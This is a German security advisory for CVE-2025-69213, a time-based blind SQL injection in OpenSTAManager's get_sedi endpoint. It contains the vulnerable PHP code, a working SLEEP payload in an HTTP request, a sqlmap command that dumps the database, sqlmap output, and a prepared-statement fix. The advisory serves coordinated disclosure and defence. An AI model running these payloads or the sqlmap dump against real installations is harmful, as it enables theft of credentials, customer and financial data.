CVE-2025-69213: OpenSTAManager hat eine SQL-Injection in ajax_complete.php (get_sedi-Endpunkt)

Übersicht

Betroffene Produkte

• devcode-it/openstamanager (Versionen: <= 2.9.8)

CWE-Klassifizierung

• CWE-89: Fehlerhafte Neutralisierung spezieller Elemente in einem SQL-Befehl ('SQL-Injection')

Details

Zusammenfassung

Eine SQL-Injection-Schwachstelle existiert im ajax_complete.php-Endpunkt bei der Verarbeitung der get_sedi-Operation. Ein authentifizierter Angreifer kann bösartigen SQL-Code über den idanagrafica-Parameter injizieren, was zu unbefugtem Datenbankzugriff führt.

Proof of Concept

Verwundbarer Code

Datei: modules/anagrafiche/ajax/complete.php:28

case 'get_sedi':
    $idanagrafica = get('idanagrafica');
    $q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione 
          FROM an_sedi 
          WHERE idanagrafica='".$idanagrafica."' ...";
    $rs = $dbo->fetchArray($q);

Datenfluss

1. Quelle: $_GET['idanagrafica'] → get('idanagrafica')
2. Verwundbar: Benutzereingabe wird direkt mit einfachen Anführungszeichen in die SQL-Abfrage konkateniert
3. Sink: $dbo->fetchArray($q) führt die schädliche Abfrage aus

Ausnutzung

Manueller PoC (zeitbasierte Blind-SQLi):

GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

SQLMap-Ausnutzung:

sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --dump

SQLMap-Ausgabe:

[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12

Auswirkungen

• Datenextraktion: Vollständige Extraktion der Datenbank, einschließlich Benutzeranmeldeinformationen, Kundendaten, Finanzunterlagen
• Privilegienerweiterung: Änderung der zz_users-Tabelle, um Admin-Zugriff zu erlangen
• Datenintegrität: Unbefugte Änderung oder Löschung von Datensätzen
• Potenzielle RCE: Über SELECT ... INTO OUTFILE, falls Dateiberechtigungen dies erlauben

Betroffene Versionen

• OpenSTAManager: Verifiziert in der neuesten Version (Stand Dezember 2025)
• Alle Versionen, die diesen Endpunkt verwenden, sind wahrscheinlich betroffen

Behebung

Ersetzen Sie die direkte Verkettung durch vorbereitete Anweisungen:

Vorher:

$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";

Nachher:

$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";

Referenzen

• OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
• CWE-89: Fehlerhafte Neutralisierung spezieller Elemente in einem SQL-Befehl

Anerkennung

Entdeckt von: Łukasz Rybak

Referenzen

• https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg
• https://nvd.nist.gov/vuln/detail/CVE-2025-69213
• https://github.com/advisories/GHSA-w995-ff8h-rppg

Haftungsausschluss

Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken verantwortungsvoll offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.